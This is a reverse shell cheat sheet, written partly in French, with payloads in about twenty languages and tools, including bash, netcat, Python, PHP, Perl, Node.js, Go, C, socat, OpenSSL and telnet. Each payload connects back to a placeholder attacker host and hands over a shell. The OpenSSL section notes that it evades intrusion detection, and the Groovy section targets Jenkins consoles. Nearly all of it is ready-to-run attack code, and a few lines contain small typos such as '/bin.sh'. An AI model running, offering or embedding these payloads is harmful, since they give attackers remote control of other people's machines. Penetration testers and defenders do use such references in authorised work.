UNIX Reverse Shells Cheatsheet

Table des matières :
Listening IP
Listening Port


awk

RHOST=<placeholder_ip>
RPORT=<placeholder_port>
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
    s = "/inet/tcp/0/" RHOST "/" RPORT;
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

C

#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>

#define REV_IP   "<placeholder_ip>"
#define REV_PORT <placeholder_port>

int main(int argc, char *argv[]) {
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REV_IP);
    sa.sin_port = htons(REV_PORT);
    int s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);
    execve("/bin/sh", 0, 0);
    return 0;
}

Oneliner dans le shell pour créer et compiler le reverse shell C:

IP="<placeholder_ip>"; PORT=<placeholder_port>; printf "#include <stdio.h>\n#include <unistd.h>\n#include <arpa/inet.h>\n\nint main(int argc, char *argv[]){\n\tstruct sockaddr_in sa;\n\tsa.sin_family=AF_INET;\n\tsa.sin_addr.s_addr=inet_addr(\"$IP\");\n\tsa.sin_port=htons($PORT);\n\tint s = socket(AF_INET,SOCK_STREAM,0);\n\tconnect(s,(struct sockaddr *)&sa,sizeof(sa));\n\tdup2(s,0);\n\tdup2(s,1);\n\tdup2(s,2);\n\texecve(\"/bin/sh\",0,0);\n\treturn 0;\n}\n" > rev.c && gcc -Wall rev.c -o rev

Go

package main;
import "os/exec";
import "net";
func main(){
    c,_ := net.Dial("tcp","<placeholder_ip>:<placeholder_port>");
    cmd := exec.Command("/bin/sh");
    cmd.Stdin  = c;
    cmd.Stdout = c;
    cmd.Stderr = c;
    cmd.Run()
}

Version Oneliner dans un shell:

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","<placeholder_ip>:<placeholder_port>");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/e.go && go run /tmp/e.go && rm /tmp/e.go

Groovy

Les reverse shells Groovy sont vraiment utiles pour obtenir un reverse shell sur un serveur Jenkins, en utilisant la console Script dans le panneau d’administration.

String host="<placeholder_ip>";
int port=<placeholder_port>;
String cmd="/bin.sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<placeholder_ip>/<placeholder_port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Lua

Dans un script Lua :

require('socket');
require('os');
t = socket.tcp();
t:connect('<placeholder_ip>','<placeholder_port>');
os.execute('/bin/sh -i <&3 >&3 2>&3');

Version Oneliner dans un shell:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('<placeholder_ip>','<placeholder_port>');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Netcat

Netcat.traditional

nc -e /bin/sh <placeholder_ip> <placeholder_port>

New netcat

mkfifo /tmp/f;nc <placeholder_ip> <placeholder_port> 0</tmp/f|/bin/sh -i 2>&1|tee /tmp/f
mknode /tmp/f p;nc <placeholder_ip> <placeholder_port> 0</tmp/f|/bin/sh -i 2>&1|tee /tmp/f

Node.js

require('child_process').exec('bash -i >& /dev/tcp/<placeholder_ip>/<placeholder_port> 0>&1');
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(<placeholder_port>, "<placeholder_ip>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

OpenSSL

Un shell inversé chiffré peut aider à éviter la détection automatique par les outils de surveillance de la sécurité du réseau (tels que les systèmes de détection d’intrusion (IDS)). Pour en créer un, vous devez générer un certificat SSL et démarrer un listener SSL sur votre machine attaquante, puis exécuter la charge utile du reverse shell sur la machine cible.

  1. Generation du certificat SSL :
openssl req -x509 -quiet -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  1. Démarrage du listener SSL sur la machine d’attaque avec openssl:
openssl s_server -quiet -key key.pem -cert cert.pem -port <placeholder_port>
  1. Lancer la payload sur la machine cible:

Short payload :

mkfifo /tmp/s;/bin/sh -i</tmp/s 2>&1|openssl s_client -quiet -connect <placeholder_ip>:<placeholder_port>>/tmp/s 2>/dev/null;rm /tmp/s

Detailled payload :

mkfifo /tmp/pipesocket
/bin/sh -i < /tmp/pipesocket 2>&1 \
    | openssl s_client -quiet -connect <placeholder_ip>:<placeholder_port> > /tmp/pipesocket 2>/dev/null
rm/tmp/pipesocket

Perl

use Socket
$ip = "<placeholder_ip>";
$port = <placeholder_port>;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if(connect(S, sockaddr_in($port, inet_aton($ip)))){
    open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");
};

Oneliner from a shell :

perl -e 'use Socket;$i="<placeholder_ip>";$p=<placeholder_port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

With exec

php -r '$s=fsockopen("<placeholder_ip>",<placeholder_port>);exec("/bin/sh -i <&3 >&3 2>&3");'

With shell_exec

php -r '$s=fsockopen("<IP>",<PORT>);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

With backticks

php -r '$s=fsockopen("<IP>",<PORT>);`/bin/sh -i <&3 >&3 2>&3`;'

With system

php -r '$s=fsockopen("<IP>",<PORT>);system("/bin/sh -i <&3 >&3 2>&3");'

With popen

php -r '$s=fsockopen("<IP>",<PORT>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Python

Using subprocess module

import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<placeholder_ip>",<placeholder_port>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

Oneliner from a shell :

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<placeholder_ip>",<placeholder_port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Using pty module

import pty, socket, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<placeholder_ip>", <placeholder_port>));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
pty.spawn("/bin/sh")

Oneliner from a shell :

python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<placeholder_ip>",<placeholder_port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Ruby

f = TCPSocket.open("<placeholder_ip>",<placeholder_port>).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

Oneliner from a shell :

ruby -rsocket -e 'f=TCPSocket.open("<placeholder_ip>",<placeholder_port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Shell

Shell with /dev/tcp

bash -i >& /dev/tcp/<placeholder_ip>/<placeholder_port> 0>&1

Shell with pipes and netcat

rm -f /tmp/p;mkfifo /tmp/p;cat /tmp/p|/bin/sh -i 2>&1|nc <placeholder_ip> <placeholder_port> >/tmp/p
rm -f /tmp/p;mknod /tmp/p p;cat /tmp/p|/bin/sh -i 2>&1|nc <placeholder_ip> <placeholder_port> >/tmp/p

Socat

socat tcp:<placeholder_ip>:<placeholder_port> exec:'bash -i',pty,stderr,setsid,sigint,sane &

TclSh

#!/usr/bin/tclsh
set s [socket <placeholder_ip> <placeholder_port>];
while 1 {
    puts -nonewline $s "$ ";
    flush $s;
    gets $s c;
    set e "exec $c";
    if {![catch {set r [eval $e]} err]} {
        puts $s $r;
    }
    flush $s;
}
close $s;

One liner :

echo 'set s [socket <placeholder_ip> <placeholder_port>];while 1 {puts -nonewline $s "\$ ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /usr/bin/tclsh

Telnet

The “double telnet” version takes two ports, one for receiving commands (uplink) and one for sending back the results (downlink) :

telnet <placeholder_ip> <placeholder_port> | /bin/sh -i | telnet <placeholder_ip> 4445

You can also create pipe redirections like we did in the netcat reverse shell :

With mkfifo :

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <placeholder_ip> <placeholder_port> > f

With mknod :

rm -f f;mknod f p&&telnet <placeholder_ip> <placeholder_port> 0<f|/bin/sh -i 1>f

Wget

More informations on this reverse shell, as well as the listener to use can be found in the article Constructing a reverse shell with wget.

IP=<placeholder_ip>;D=<placeholder_port>;U=$(($D + 1))
while true; do sleep 0.125; wget "http://${IP}:${U}" -o /dev/null -U "$($(wget -q "http://${IP}:${D}" -O- -o /dev/null 2>/dev/null) 2>&1 | base64 -w0)" 2>/dev/null; done